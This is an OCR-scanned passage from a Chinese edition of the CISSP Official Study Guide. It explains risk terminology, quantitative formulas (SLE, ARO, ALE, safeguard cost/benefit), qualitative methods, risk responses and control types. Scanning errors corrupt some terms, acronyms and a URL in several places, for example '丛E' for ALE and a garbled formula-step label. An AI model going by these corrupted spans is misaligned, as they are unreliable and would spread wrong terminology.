达到风险管理主要 目 标的过程被称为风险分析。 风险分析包括: 分析环境中的风险， 评估每种
风险发生的可能性和造成的损失， 评估各种风险对策的成本， 以及生成安全措施的成本/效益报告并
呈交给上级管理者。 除了这些针对风险的活动以外， 风险管理还要求对组织内部的所有资产进行估
算、 评估和分配。 如果没有恰当 的资产评估， 就不可能划分资产的优先级和 比较风险可能造成的
损失。
2.3.1 风险术语
风险管理引用了大量的术语， 你必须清楚地理解这些术语(尤其是 CISSP 考试所要求的术语)。
40
本节定义和讨论所有与风险相关的重要术语:
资产 资产是指环境中应该加 以保护的任何事物， 是用于商业过程和任务中的任何东西 ， 可 以
是计算机文件、 网络服务、 系统资源、 进程、 程序 、 产品、 IT 基础设施、 数据库、 硬件设备、 家具、
产品秘方栖己方、 人员 、 软件和设施等。 如果组织认为 自 己控制之下的某种资源有价值并需要保护，
那么这种资源就被标记为可以进行风险管理和风险分析。 资产出现损失或泄漏会危及整体的安全性，
造成生产效率的降低、 利润的减少、 额外支出 的增加、 组织停工以及造成许多无形的不 良后果。
资产估值 资产估值指的是根据实际的成本和非货币性支出为资产分配的货币价值， 其中包括
开发、 维护、 管理、 宣传、 支持、 维修和替换资产的成本， 还包括许多难 以计算的价值， 例如， 公
众信心、 行业支持、 生产效率的提升、 知识产权以及所有者权益。 资产估值将在本章稍后部分进行
详细讨论。
威胁 任何可能发生的 、 为组织或某种特定 资产带来所不希望的或不想要结果的事情都被称为
威胁。 威胁是指会造成资产损失、 破坏、 变更、 丢失或泄漏的任何行为或非行为， 或者是指阻碍访
问或阻止资产维护的行为。 威胁可大可小， 井会造成或大或小的后果。 它们可能是有企图的或意外
的 ， 可能源自人、 组织、 硬件、 网络、 结构或自 然界。 威胁主体会有企图地利用脆弱性。 威胁主体
通常是人， 不过也可能是程序、 硬件或系统。 威胁事件是脆弱性的意外利用。 威胁事件包括火灾、
地震、 水灾、 系 统故障和人为错误(一般是因 为缺少培训或疏忽)和断电。
脆弱性 资产中 的弱点或防护措施/对策的缺乏被称为脆弱性 。
换句话说 ， 脆弱性就是 盯 基础设施或组织其他方面的缺陷、 漏洞、 疏忽、 错误、 局 限性、 过失
第2章 人员安全和风险管理概念
或敏感之处。 如 果脆弱性被他人加 以利用 ， 那 么就有可能造成资产的破坏或损失。
暴露 暴露是指由于威胁而容易造成资产损失， 脆弱性会被或将被威胁主体或威胁事件加以利
用 的可能性是存在的。 暴露并不意味着实施的威胁(造成损失的事件)实际发生(暴露给己实施的威胁
称为经历的暴露)， 而仅仅是指如果存在脆弱性并且威胁可以利用脆弱性， 那么就有可能发生威胁事
件或出现潜在的暴露。
风险 风险是某种威胁利用脆弱性并导致资产损害的可能性， 是对可能性、 概率或偶然性的评
估。 可能性越大， 威胁事件就越可能发生， 风险就越大。 暴露的每个实例都是一种风险。 用书面公
式表示的话， 风险可 以被定义为: 风险 = 威胁*脆弱性
因此， 减少威胁主体或脆弱性将直接降低风险发生的几率。
当风险发生时， 威胁主体或威胁事件己经利用 了脆弱性并导致一种或多种资产的损害或泄漏。
安全的整体 目 标是: 通过消除脆弱性和阻止威肋主体和威胁事件危及资产安全， 从而避免风险变成
现实。 作 为一种风险管理工具， 防护措施能够实现安全性。
防护措施 防护措施或对策是指能消除脆弱性或对付一种或多种特定威胁的任何方法。 防护措
施可以是: 安装软件补丁程序、 修改配置、 雇请保安人员、 改变 IT 基础设施、 更改流程、 改善安全
策略、 更有效地培训员工、 电气化的周边防护、 安装照明设备等。 防护措施可以是通过消除或减少
组织内任何位置的威胁或脆弱性来降低风险的任何行为或产品。 防护措施是削弱或消除风险的唯一
方法。 防护措施或对策不必是购买新产品， 记住这一点十分重要 。 重新配置现有的元素， 甚至从安
全基础设施中 去除某些元素 ， 都是有效的防护措施。
攻击 攻击指的是威胁主体对脆弱性的利用 。 换句话说， 攻击是任何有意利用组织安全基础设
施的脆弱性并导致资产的损害、 损失或泄漏的企图。 攻击还可以被视为违反或未遵守组织安全策略
的任何行为。
破坏 破坏是指发生安全机制被威胁主体绕过或阻挠的事情。 当破坏与攻击结合时， 就会发生
渗透或入侵事件。 渗透指的是威胁、主体通过避开安全控制获得访问组织基础设施的权力并且能够直
接危及资产安全的情况。
如图 2.4 所示， 资产、 威胁、 脆弱性、 暴露、 风险和防护措施是相互关联的。 威胁利用脆弱性，
脆弱性导致暴露。 暴露就是风险， 风险又被防护措施减轻。
γ
防护措施保护被威胁危及安全的资产。
翩
图 2.4 风险的元素
41
CISSP 官方学 习指南(第 7 版)
2.3.2 识别威胁和脆弱性
风险管理的一个基本部分就是对威胁进行标识并检查， 这涉及创建详尽的组织中认定资产可能
存在的所有威胁列表。 列表应该包括威胁主体和威胁事件。 威胁可能来 自 任何地方 ， 记住这一点十
分重要 。 对 IT 的威胁并不 只 限制在 IT 源 。 当编制威胁列表时， 需 要考虑 以下各项:
42
• 病 毒
• 级联错误(一系列逐步上升的错误)和相关性错误(由 于依赖 的事件或事物不存在而引 起)
• 己授权用户 的犯罪行为
• 运动现象(振动 、 炸裂声等)
• 有企图 的攻击
• 重组
• 己授权的用户疾病或传染病
• 黑客
• 不满的员工
• 用户错误
• 自 然灾害(地震、 水灾 、 火灾、 火山爆发 、 咫风、 龙卷风、 海啸等)
• 物理损坏(碎裂 、 抛射、 线缆被切断等)
• 数据、 资源或服务的误用
• 对数据分类或安全策略的改变或危害
• 政府、 党派或军队的入侵或限制
• 处理错误、 缓冲 区溢出
• 滥用个人特权
• 温度失控
• 能量异常(静电噪音、 EM 脉冲、 无线 电频率、 电源损耗、 电涌等)
• 数据丢失
• 信息战争
• 破产或改变/中断业务活动
• 编码/编程错误
• 入侵(物理的或逻辑的)
• 环境因素(存在天然气 、 液体、 生物等)
• 设备故障
• 物理盗窃
• 社会工程学
大多数'情况下， 应该是团队而不是个人进行风险评估和分析。 此外， 团队成员应该来自 组织 内
部的不同部门 。 通常， 团 队成员并不要求都是安全专家或网络/系统管理员 。 团队成员 的多样性是以
组织的人 口 统计学为基础的 ， 这将有助于彻底识别和确定所有可能存在的威胁和风险 。
第2章 人员安全和风险管理概念
委托顾问评估风险
1 - 风险坪估是一个极为难懂、 烦琐、 复杂和浸长的过程。 通常， 由 于风险的 大小 、 范 围或责任，
现有的 员 工无法适当地进行风险分析， 因 此许多 组织委派风险管理顾 问未完成这项 工作。 这提供了
极高的专业知识级别 ， 不会使员 工 的工作停顿下来， 并且被证明是评估现实风险的最可靠措施。 但
是， flr千'0\.险管理顾问 并不只是在书面进行风险评估和分析， 他们通常也仍会使用 复杂和昂贵的风
险坪估软件。 这种软件能够简化整个任务、 提供更可靠的结果以及生成保险公司 、 董事会等可接受
的 标准化报告。
2.3.3 风险评估/分析
风险管耳宙分析主要是上层管理者的事情。 上层管理者负责通过定义工作的范围和 目标， 启动和
支持风险分析和评估。 执行风险分析的实际过程经常被委派给安全专家或评估团队。 然而， 所有的
风险评估、 结果、 决策和成果必须得到上层管理者的理解和批准 ， 并作为提供谨慎的适当关注 的
元素 。
所有的 IT 系统都存在风险。 现实中不存在能够完全消除所有风险的方法。 但是， 上层管理者必
须决定哪些风险是可以接受的， 哪些风险是不可以接受的。 决定哪些风险可以接受时 ， 要求详细的、
复杂的 资产与风险评估。
一旦完成威胁列表的编制， 就必须对每种威胁及相关的风险逐一地进行评估。 目 前有两种风险
评估方法: 定量的风险分析和定性的风险分析。 定量的风险分析把真实的货币价值分配给损失的资
产。 定性的风险分析把主观的和无形的价值分配给损失的资产。 对于完整的风险分析来说， 这两种
方法都是必要的。 大多数环境中同时使用混合的风险评估方法， 以获得他们的安全考虑的平衡观点。
1 . 定量的风险分析
用 定量的方法能推导出 具体的概率百分比， 这意味着定量的分析方法会创建一个报告， 该报告
用货币形式表明风险的级别 、 潜在的损失、 对策的成本以及防护措施的成本。 理解这个报告相当 容
易 ， 尤其对于了 解电子表格和预算报告的人来说更是如此。 定量分析可以被视为对风险进行定量分
配的行为， 换句话说， 就是用货 币形式表示每个资产和威胁。 然而， 纯粹的定量分析是不可能的，
不是所有的分析元素和方面都是可以被量化的， 这是因为某些元素和方面是定性的、 主观的或无形的 。
定量风险分析的过程开始于资产估值和威胁标识， 下一步则是评估每种风险的可能性和发生频
率 。 然后 ， 使用这些信息 ， 计算各种不 同 的价值函数， 这些函数被用 于评估防护措施。
下 面列出了定量的风险分析的 6 个主要步骤或阶段(见图 2.5):
(1) 列 出资产清单和分配资产价值(Asset Value 或 AV， 在本章后面的 " 资产估值"部分详细介绍，
资产价值是一个详细特征)。
(2) 研究每项资产， 生成每个资产所有可能威胁的列表 。 针对列出 的每个威胁， 计算暴露因子
(Exposure Factor， EF)和单一损失期望(Single Loss Expectancy， SLE)。
(3) 执行威胁分析， 计算每种风险在一年内 发生的可能性， 也就是年发生比率(Annualized Rate of
Occurrence， ARO)。
(4) 通过计算年度损失期望(Annualized Lost Expectancy， 丛E)， 得到每个威胁可能的总损失。
(5) 研 究每个威胁的对策， 然后 基于应用 的对策， 计算 ARO和丛E 的变化。
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CISSP 官方学 习指南(第 7 版)
(6) 针对每个资产的每个威胁的每个对策执行成本/效益分析。 选择对每个威胁最适用的对策。
分配资产价值(AV)
\
计算暴露因子(EF)
\计算单一哺损蝴烟叫叫望颤郎(σS旧L臼E
\ 评价年发生比率(ARO)
\
算出年度损失期望(ALE)
\
执行对策的成本/效益分析
图 2.5 定量的风险分析的 6 个主要元素
某些价值函数与定量的风险分析相关联， 其中包括暴露因子、 单一损失期望、 年发生比率和年
度损失期望。
暴露因子 暴露因子但F)代表组织的某种特定资产被己实施的风险损坏所造成损失的百分比。
EF 还称为潜在损失。 大多数情况下， 己实施的风险不会造成资产的全部损失。 EF 简单地表示在发
生单个风险时全部资产价值损失的预计值。 EF 通常较小(对于容易被替换的资产， 例如硬件)， 但也
可 以很大(对于不能替换的或专用 的资产， 例如产品设计或客户 数据库)0 EF 被表示为百分数。
单一损失期望 计算单一损失期望(SLE)时需要使用 EF。 单一损失期望(SLE)是与针对特定资产
的单个己实施风险相关联的成本。 如果某个资产被特定威胁损害 ， SLE 计算对组织造成的确切损失。
计算 SLE 时 ， 可 以使用公式:
SLE =资产价值(AV) *暴露因子(EF)
或简化为:
SLE=AV*EF
SLE 用 美元表示。 例如， 如果资产的价值是 200 000 美元， 并且针对特定威胁的 EF 为 45%，
那么这个资产的威胁的 SLE 就是 90 000 美元。
年发生比率 年发生比率(ARO)指的是特定威胁或风险在一年内 将会发生(也就是成为现实)的
预计频率。 ARO 的范围为数值 O.O(表示威胁或风险永远不会发生)到一个非常大的数(表示威胁或风
险经常发生)0 ARO 的计算可能非常复杂， 可 以从历史记录、 统计分析或猜测数据中推导出来。 ARO
的计算也被称为概率测定。 通过将单个威胁发生的概率与引起威胁的用户个数相乘， 就可以计算出
几个威胁或风险的 ARO。 例如， 塔尔萨发生地震的 ARO 可能是 0.00 001 ， 然而在塔尔萨市某个办
公室中存在 电子邮件病毒的 ARO 可能是 1 0 000 000 。
年度损失期望 年度损失期望(ALE) 指的是针对某种特定的资产， 所有己实施的威胁每年可能
造成的损失成本。 计算 ALE 时可 以使用 公式:
第2章 人员安全和风险管理概念
ALE = 单一损失期望(SLE)*年发生 比率(ARO)
或简化为:
ALE = SLE * ARO
例如， 如果资产的 SLE 是 90 000 美元， 并且某一特定威胁(如全部断电)的 ARO 是 0.5， 那么
ALE是45 000 美元。 另一方面， 如果特定威胁的 ARO 是 1 5(如用户账号受到安全威胁， 那么 ALE
是 1 350 000 美元。
为每个资产和每种威胁/风险计算 EF， SLE、 ARO 和 ALE 的工作量是惊人的。 幸运的是， 定量
风险评估软件工具使这个烦琐的过程得到了 简化和 自 动化。这些工具用来产生资产估值的详细 目录，
然后使用预先定义的 ARO 和一些定制的选项(如行业、 地理位置、 π 组件等)生成风险分析报告 。 下
面是经常涉及的计算:
计算使用防护措施时的年度损失期望 除了确定防护措施的年度成本之外， 还必须计算实现防
护措施时资产的 ALE。 这需要防护措施特定的新的 EF 和 ARO。 大多数情况下， 即使应用 了 防护措
施， 某个资产的 EF 也仍然是相同的。 EF 是风险成为现实时造成的损失大小。 换句话说， 如果防护
措施失败， 那么资产会受到多少损害? 考虑一下这样的情况: 如果身穿防弹衣， 但是子弹却穿过防
弹衣打中你的心脏， 那么你仍然会遭受和未穿防弹衣一样的伤害 。 因此， 如果防护措施乡已吹， 那么
资产的损失往往与没有防护措施时是相同的。 不过， 某些防护措施即使在不能完全阻止攻击的情况
下也仍然能够减少造成的损坏 。 例如， 尽管火灾仍然可能发生， 并且防水设施可能会被火灾破坏，
还有来 自 喷洒头的水灾破坏， 但这些总 的损坏可能是小于整个建筑物被烧毁。
即使 EF 不变， 防护措施也会对 ARO 做出修改。 事实上， 防护措施的 目 的是减少 ARO。 换句
话说， 防护措施应该减少攻击对资产造成成功损害的次数。在所有可能的防护措施中， 最好是将ARO
减少为零。 尽管有一些完美的防护措施， 但大多数并不是完美的 。 因此， 许多防护措施都有应用型
ARO， 比非防护措施的 ARO 更小(你希望更小一些)， 但通常不为零。 有了新的 ARO(可能会有新的
EF)， 应用防护措施的新 ALE 就会被计算出来。 防护措施前的 ALE 和防护措施后 的 ALE 被计算 出
来之后 ， 要进行成本效益分析还需要一个值 。 这个额外的值就是防护措施的年度成本。
计算防护措施成本 针对每个特定的风险， 必须在成本/效益的基础上评估一种或多种防护措施
或对策。 为了执行这个评估， 首先必须为每种威胁编制防护措施列表， 随后必须为每种防护措施分
配部署价值。 事实上， 必须针对受保护资产的价值度量防护措施的部署价值或成本。 因此， 受保护
资产的价值决定了保护机制的最大支出 。 安全措施应当是有成本效益的， 因此保护某个资产的成本
(包括现金或资源)超过该资产在组织内 的价值并非明智之举。 如果防护措施的成本超过资产的价值
(也就是风险的成本)， 那么就只能接受风险。
计算对策的价值时会涉及下列很多 因素 :
• 购置、 开发和许可证的成本
• 实现和定制的成本
• 年度运营、 维护和管理等的成本
• 年度维修和升级的成本
• 生产率的提高或降低
• 环境的改变
• 测试和评估的成本
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CISSP 官方学 习指南(第 7 版)
一旦知道了防护措施的潜在成本， 就有可能评估将防护措施应用于基础设施的收益 。 正如前面
提到 的 ， 防护措施的年度成本不应该超过预计的年度资产损失成本 。
计算防护措施成本/效益 成本/效益计算是此过程中 最后进行的计算， 用于确定某个防护措施
是否能够通过较低成本真正改善安全性。 为了确定防护措施的支出是否合理， 可以使用 下面这个公式:
使用防护措施前的 ALE-使用 防护措施后的 ALE-防护措施的年度成本(ACS)=公司 防护措施的价值
如果结果是负数， 那么这个防护措施就不值得选择。 如果结果是正数， 那么这个结果值就是组
织部署防护措施之后每年节省下来的钱。
采取防护措施之后每年节省或损失的钱不应该是评估防护措施时唯一需要考虑的因素。 法律责
任和谨慎的适度关注也是应该被考虑的问题。 在某些情况下， 因为部署防护措施而损失一些资金，
比起承担资产暴露或损失 的法律责任风险更为明智。
回 顾一下， 执行某个防护措施的成本/效益分析时， 必须计算下列三个元素:
• 针对某个资产与威胁组合不采取对策的 ALE
• 针对某个资产与威胁组合采取对策的 ALE
• 防护措施的年度成本(ACS)
借助上述元素， 最后能够获得针对特定资产的特定风险使用特定防护措施的成本/效益公式:
(采取对策前的 ALE - 采取对策后 的 ALE) - ACS
甚至还可 以写成更简单的形式:
(ALEl - ALE2) - ACS
从成本/效益公式得到最大结果值的防护措施就是针对特定资产与威胁组合部署的最经济措施。
表 2. 1 阐明了与定 量的风险分析相关联的 各种公式。
表 2.1 定量的风险分析公式
概念 公式
暴露因子(EF) %
单一损失期望(SLE) SLE = AV * EF
年发生比率(ARO) # /年
年度损失期望(ALE) ALE = SLE * ARO 或
ALE = A V * EF * ARO
防护措施的年度成本(ACS) $ /年
防护措施的价值或收益 (ALEl - ALE2) - ACS
天啊， 这么多数学运算 !
是的 ， 定量的风险分析涉及许多数学运算。 幸运的是， 考试中 的数学 问题只可能涉及基本来法。
在 CISSP 考试中 ， 你最有可能被问到综合了定义、 应用和概念的 问题。 这意味着你需要知道等式/
公式和值的定义、 它们的含义、 它们为什么重要以及如何手即有于帮助组织。 你至少需要知道 AV、
町 、 SLE、 ARO、 ALE 的概念 以及成本/效益公式。
第2章 人员安全和风险管理概念
通过定量的风险评估过程中使用的所有计算得到的最终值， 用于区分优先顺序和进行选择， 了
解这一点十分重要。 最终值本身并不真正反映现实生活中由于安全破坏导致的损失或成本。 因 为在
定量的风险评估过程 中要求猜测 、 统计分析和概率预测， 所以这是显而易见的。
一旦计算了针对影响特定资产的每种风险的每个防护措施的成本/效益， 随后就必须对这些值进
行整理分类。 在大多数情况下 ， 成本/效益值最大的就是针对特定资产的特定风险的最佳防护措施。
但是与现实生活中 的所有事情一样 ， 这只是决策过程的一部分。 尽管成本/效益是非常重要的因素，
并且往往是主要的指导因素， 但是并非数据的唯一因素。 其他因素包括: 实际成本、 安全预算与现
有系统的兼容性、 π 职员 的技能/知识水平、 产 品的可用性、 政治问题、 合作关系 、 市场趋势 、 流行
趋势、 市场推广 、 合同和偏爱。 作为高级管理部门 的人员甚至 π 职员 ， 应当负责通过获取或使用可
用 的数据和信息来为组织确定最佳的 安全决策。
大多数企业的预算都是有限的。 因此， 安全管理中一个至关重要的部分就是在有限的成本下获
得最安全的保障。 然而， 要想对安全性方面实施有效的管理， 就必须先对预算、 效益和性能指标，
以及安全控制的每个必要资源进行评估。 只有在经过彻底评估之后， 才能确定哪种安全控制是必不
可少的也是有益的 。 当然， 这不仅仅就其安全性而言， 往往也是你的底线所在。
2. 定性的风险分析
定性的风险分析更多是根据场景而不是根据计算。 这种方式不是为可能发生的损失分配准确的
货 币值， 而是按手里重将威胁分成等级 ， 从而评估其风险、 成本和影响。 由于不可能进行纯粹的定量
风险评估， 因此定量分析的结果平衡是必要的。 进行定性的风险分析的过程涉及判断、 直觉和经验。
在进行定性的风险分析时 ， 可 以使用很多技术， 如下所示:
• 自 由讨 论
• Delphi 技术
• 情节串联图板
· 焦点 组
• 调 查
• 问 卷
• 核对清单
• 一对一的会议
• 面谈
决定使用哪一种机制要根据组织的文化氛围和所涉及风险与资产的类型。 比较通用 的做法是:
几种方法同时使用， 井且在提交给上层管理者的最后的风险分析报告中 比较和对照各种方法的结果。
场景
所有这些机制的基本过程都涉及场景的创建。 场景是对单个主要威胁的书面描述。 描述的重心
集中在威胁是如何产生的及其对组织、 π 基础设施和特定的资产会产生什么影响。 通常， 场景描述
被限制在一页纸以内， 从而便于管理。 对于每个场景来说， 有一种或多种防护措施可以完全或部分
应对场景中所描述的主要威胁。 然后， 分析的参与者分配场景的威胁级别、 可能的损失以及每种防
护措施的优点。 分配威胁级别既可以非常简单， 例如， 使用高、 中 、 低或数值 l 到 10 来表示， 也可
以用详细的文章来反映。 最后， 来自所有参与者的反馈会被编制成报告， 并且被提交给上层管理
者 。 至于参考评级和级别的例子， 请参考 NIST SP 800-30 中 的表 3岳 和表 3-7: htφ:矿臼rc.nist.gov/
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CISSP 官方学 习指南(第 7 版)
publications/nistpubs/800-30/sp800-30.pdf.。
由于参与者的数量和多样性在评估时不断增加， 因此定性的风险分析的有效性和真实性也被提
高了 。 只 要有可能， 参与者中应该包括组织体系内 每个层次的一人或多人， 范围从上层管理者到终
端用 户 。 参与者中 还应包括来 自 各个主要部 门 、 办公室或分支机构的人员 。
Delphi 技术
Delphi 技术也许是这个列表中不能被立刻识别和理解的唯一一种机制。 Delphi 技术只是一个简
单的匿名反馈和响应过程， 它的主要 目 的是从所有参与者中得到真实的和未受影响 的反馈。 参与者
通常被集中在一间会议室里， 对于每个要获得反馈意见的请求， 每个参与者都会在纸上以匿名方式
写下自 己的回答。 得到的结果被总结和提交给风险分析小组进行评估。 这个过程重复进行， 直到达
成一致意见 。
定量的和定性的风险分析机制都能提供有用的结果。 不过， 每种技术都包括评估相同财产和风
险的独特方法。 谨慎的适度关注要求同时使用这两种方法 。 表 2.2 描述了 这两种方法的优缺点。
表 2.2 定量的风险分析和定性的风险分析的 比较
特征 定性的风险分析 定量的风险分析
是否使用复杂 的函数 否 是
是否使用成本/效益分析 否 是
是否得到具体的值 否 是
是否要求猜测 是 否
是否支持 自 动化 否 是
是否需要大量的信息 否 是
是否客观 否 是
是否使用主要意见 是 否
是否要求付出很多时间和努力 否 是
能否提供有用 的和有意义的结果 是 是
2.3.4 风险分配/接受
风险分析的结果包括:
• 所有资产的完整且详细的评估。
• 所有威肋 和风险、 发生概率 以及一旦发生的损失范围 的详细列表。
• 针对特定威胁的 并且标识出有效性与 ALE 的 防护措施和对策列表。
• 每种防护措施的成本/效益分析 。
对于管理层制定出 的、 有根据的且明智的有关实现防护措施和修改安全策略的决定来说， 这些
信息至关重要。
一旦完成风险分析 ， 管理层就必须处理每种特定的风险。 对于风险有下列 4 种可能的反应:
• 降低风险
• 转让风险
• 接受风险
第2章 人员安全和风险管理概念
• 拒绝风险
你需要知道 以下 4 种 可能反馈的内容:
风险消减 降低风险或风险消减是一种消除脆弱性或阻止威胁的防护措施的实施。 选取最划算
或性价比最好的防御措施是风险管理的一部分， 但不是风险评估的元素。 事实上， 对策选择是一项
风险评价后或风险分析后进行的活动。 降低风险的另一个潜在变化是规避风险。 风险通过消除风险
的原因是可 以避免的。 一个简单的例子是从服务器上删除 盯P 协议， 以避免 盯P 攻击， 以及更大的
例 子就是转移到 内 陆地区， 以避免周风带来的风险。
风险转让 风险转让或转移风险是把风险带来的损失转嫁给另外一个实体或组织。 购买保险和
外包就是转让或转移风险的常见形式。
风险接受 风险接受或接受风险是管理层对可能采用的防护措施进行成本/效益分析评估， 并且
确定对策的成本远远超过风险可能造成的损失的成本。 接受风险还意味着管理层已经同意接受风险
发生所造成的结果和损失。 大多数情况下， 接受风险要求清楚说明影响的书面陈述， 书面陈述通常
采用 " 书面签名 " 的方式说明为什么不实施防护措施、 谁对做出 的决定负 责以及谁对可能发生的风
险损失负责 。 组织是否接受风险的决定依据于对风险的容忍程度。 风险容忍度是组织忍受发生风险
所造成损失的能力， 这也是所说的风险容忍和风险偏好。
风险拒绝 最后， 但也是令人无法接受的对风险的反应称为拒绝风险或忽略风险。 否认风险的
存在 以及希望风险永远不会发生 ， 这都未做到适度关注 ， 不是正确的谨慎对待风险的反应 。
一旦实现了对策， 继续存在的风险就被称为剩余风险。 剩余风险是由针对特定资产的任何威胁
组成的， 高层管理部门选择不对这些资产实施防护措施 。 换句话说， 剩余风险是管理层选择接受而
非去缓解的风险。 在大多数情况下， 剩余风险的存在表明成本/效益分析说明 可采用 的 防护措施不
划算。
总风险指的是在没有实现防护措施的情况下， 组织将要面对的风险数量。 计算总风险的公式是:
威胁*脆弱性*资产价值=总风险
(注意: 这里的*不是乘法， 只是起到联合的功能; 这不是一个数学公式。 )总风险和剩余风险之
间 的差值被称为控制间隙(controls gap)。 控制 间隙是指通过实现防护措施被减少的风险数量。 计算
剩余风险的 公式是:
总风险一控制 间 隙=剩余风险
与一般风险管理一样， 处理风险不是一个一次性的过程。 相反， 安全性必须不断维护和再确定。
事实上， 随着时间的推移， 重复地进行风险评估和分析过程已经成为评估安全计划完整性和有效性
的一个机制 。 此外， 它还有助于定位系统缺陷井及时发现改变的区域。 因 为随着时间 的变化， 安全
性也在不断变化， 所以定期重新评估对于维护系统安全性至关重要 。
2.3.5 对策的选择和评估
在风险管理范围 内选择对策主要依赖于成本/效益分析结果。 不过， 当评估安全控制的价值和相
关度时， 还应当 考虑下面列 出 的其他一些因素:
• 对策的成本应当小于资产的价值 。
• 对策的成本应当 小于措施的效益。
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CISSP 官方学 习指南(第 7 版)
• 应用对策的结果应当使犯罪者进行攻击的成本大于通过攻击获得的效益。
• 对策应当为真实的和识别出的问题提供解决方案(并不只是因为它们是可用的、 被宣传的或
听起来很不错而实施对策)。
• 对策的效益应当不依赖于其秘密状态 。 这意味着 " 隐藏式保全" 不是切实可行的对策， 任
何切实可行的对策都能够承受公开的曝光和监视。
• 对策的效益应当 是可测试的和可认证的 。
• 对策应当在所有用 户 、 系统 、 协议之间提供一致和统一的保护 。
• 对策应当与减少级联故障无关联或基本无关联。
• 在最初进行部署和配置之后 ， 对策应当仅需最低限度 的人为干预。
• 对策应当 是防 止篡改的 。
• 只 有拥有相应权限的操作员 才拥有对策的覆盖访 问权限。
• 对·策应当 提供故障安全(fail-safe)和/或故障保护(fail-sec旧时选项 。
请记住， 安全应该被设计用 来支持和保障业务任务和功能。 因此， 对策和防护措施需要根据业
务任务的上下文进行评估。
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2.3.6 实施
安全控制、 对策和防护措施可以通过行政管理性、 逻辑/技术性或物理性控制来实现。 这三类安
全机制应该 以纵深防御的方式来实现 ， 以提供最大化利益(见图2.6) 。
物理性控制
行政管理性控制
图 2.6 深度防御实施中的安全控制分类
1 . 技术性控制
技术性访问和逻辑访问作为硬件或软件机制， 既可 以用于管理对资源和系统的访问， 也可以提
供对这些资源和系统的保护 。 顾名思义， 采用的方式是技术。 逻辑性或技术性访问控制的示例包括
认证方法(例如用户名、 密码、 智 能卡和生物识别)、 加密、 受限接口、 访 问控制列表、 协议、 防火
墙 、 路由器、 入侵检测系统(Intrusion Detection System， IDS) 以及阔值级别 。
第2章 人员安全和风险管理概念
2. 行政管理性控制
行政管理性访问控制是依照组织的安全策略和其他规范或需求而定义的策略与过程。 它们有时
被称为管理控制。 这些控制主要关注两个方面: 人员与业务经营方式。 行政管理性访问控制的示例
包括策略、 过程、 雇佣准则、 背景调查、 数据分类和标签、 安全意识和培训效果、 休假记录、 报告
和 回顾、 工作监督、 人员控制 以及测试。
3. 物理性控制
作为部署的物理屏障， 物理性访问控制可以防止对系统或设施某部分的直接访问。 物理性访问
控制的示例包括保安、 围墙、 移动探测器、 闭锁的 门 、 密封窗、 灯光、 线缆保护、 笔记本电脑锁、
磁条卡、 看门狗、 摄像机、 陷 阱 以及报警器。
2.3.7 控制的类型
术语 "访问控制 " 指的是一种广泛的控制 ， 可 以执行的任务诸如确保只有授权用户 可以登录，
并防止未授权用户获得资源 。 访问控制规避了 各种各样信息的安全风险。
不论何时， 只 要有可能 ， 希望防止任何类型的安全问题或事件的发生 。 当然， 一些意想不到的
事件总会发生， 并不是每次都能阻止。 一旦事件发生， 你会希望尽快检测到这个事件。 如果发现，
你会希望做出纠正。
当 阅读控制说明时， 你会注意到有些举例所列的控制不止出现在一种访问控制类型中 。 比如，
围绕在建筑四周的防护栏(或以周长进行定义的设备)可以成为预防性控制， 因为它们从本身物理结
构上阻止了进入建筑场地的可能。 然而， 这也是一种制止'性控制， 因为对那些企图进入场地的人也
起到 了制止作用 。
1 . 威慑
部署威慑性访问控制是为 了吓阻出现违反安全策略的情况。 威慑性和预防性控制 比较类似， 但
是威慑性控制取决于某人的决定并不阻止某个动作。 相反， 预防性控制实际上阻止一个活动 。 威慑
性访问控制的示例包括策略、 安全意识培训1 1 、 锁 、 围墙、 安全标识、 保安、 陷阱、 安全摄像机。
2. 预防
部署预防性访问控制是为了阻止不受欢迎的或未授权活动的发生。 预防性访问控制的示例包括
围墙、 锁、 生物识别、 陷阱、 灯光、 警报系统、 责任分离、 工作轮换、 数据分类、 渗透测试、 访 问
控制方法、 加密、 审计、 使用安全摄像机或闭路电视、 智能卡、 回叫、 安全策略、 安全意识培训11、
反病毒软件、 防火墙和入侵防御系统(IPS)。
3. 检测
部署检测性访问控制是为了发现不受欢迎的或未授权的活动。 通常， 检测性访问控制并不实时
进行， 而是在活动出现后运行。 检测性访问控制的示例包括保安 、 移动探测器、 记录和检查安全摄
像机或闭路电视捕获的事件、 工作轮换、 强制休假、 审计跟踪、 蜜罐或蜜网 、 IDS、 违规报告、 对
用 户 的监管和检查 、 事故调查。
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CISSP 官方学习指南(第 7 版)
4. 补偿
部署补偿性访问控制是为了向其他现有的访问控制提供各种选项， 从而帮助增强和支持安全策
略。 补偿性访问控制还可以包括一些其他控制， 这些控制用于替代必要的或被破坏的控制。 例如，
一个组织策略可以指示所有的 PII 必须加密。 审查发现， 预防性由问控制在数据库中加密所有 PII
数据 ， 但 PII 通过网络传输以 明文形式发送 。 可 以添加补偿性访 问控制来保护传输中 的数据。
5. 纠正
部署纠正性访问控制是为了在发生不受欢迎的或未授权的操作后， 将系统还原至正常的状态。
试图纠正发生安全事件造成的任何问题。 纠 正性访问控制通常较为简单， 例如终止恶意行为或重启
系统。 其中还包括病毒解决方案， 可 以删除或隔离病毒并具有备份和恢复计划 ， 以确保丢失的数据
可 以被恢复 ， 活跃的 ID 可 以修复系统环境井停止攻击程序。 安全策略被入侵后 ， 访问控制可以用
来修复或恢复 资源 、 功能和能力 。
6. 恢复
恢复性访问控制与纠正性访问控制相 比， 恢复性访问控制响应访问违规的性能更高级、 更复杂。
恢复性访问控制的示例包括备份和还原 、 容错驱动系统、 系统镜像、 服务器群集、 反病毒软件以及
虚拟机影像。
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7. 指令
部署指令性访问控制是为了 指示、 限制或控制主体的活动， 从而强制或鼓励主体遵从安全策略。
指令性访问控制的示例包括安全策略需求或标准、 张贴通告、 疏散路线出 口标志、 监控、 监督、 工
作任务过程。
2.3.8 监控和测量
安全控制提供的益处应该是可以监测和度量的。 如果安全控制提供的益处不可以被量化、 评估
或比较， 那么这种控制实际上并没有提供任何安全性。 安全控制应该可以提供本地或内部监控， 有
时 也可能需 要外部监控 。 在做初步的对策选择时 ， 应该考虑到这一 问题。
衡量一个对策的有效性并不是在进行绝对的价值度量。 许多对策提供了 一定程度上的改善而不
是具体的关于防止破坏和阻挠攻击的数量。 通常来说， 要想度量对策的成功或失败 ， 在安全措施执
行前后对事件进行监测和记录是十分必要的。 只有当知道起始点(正常点或初始风险水平)时， 益处
才能准确衡量出来。 成本/效益公式中有一部分也考虑到了对策的监测与度量。 安全控制在一定程度
上增强了安全性， 但这并不意味着获得的利益就是划算的。 需要明 白 的是， 安全性的显著提高证明
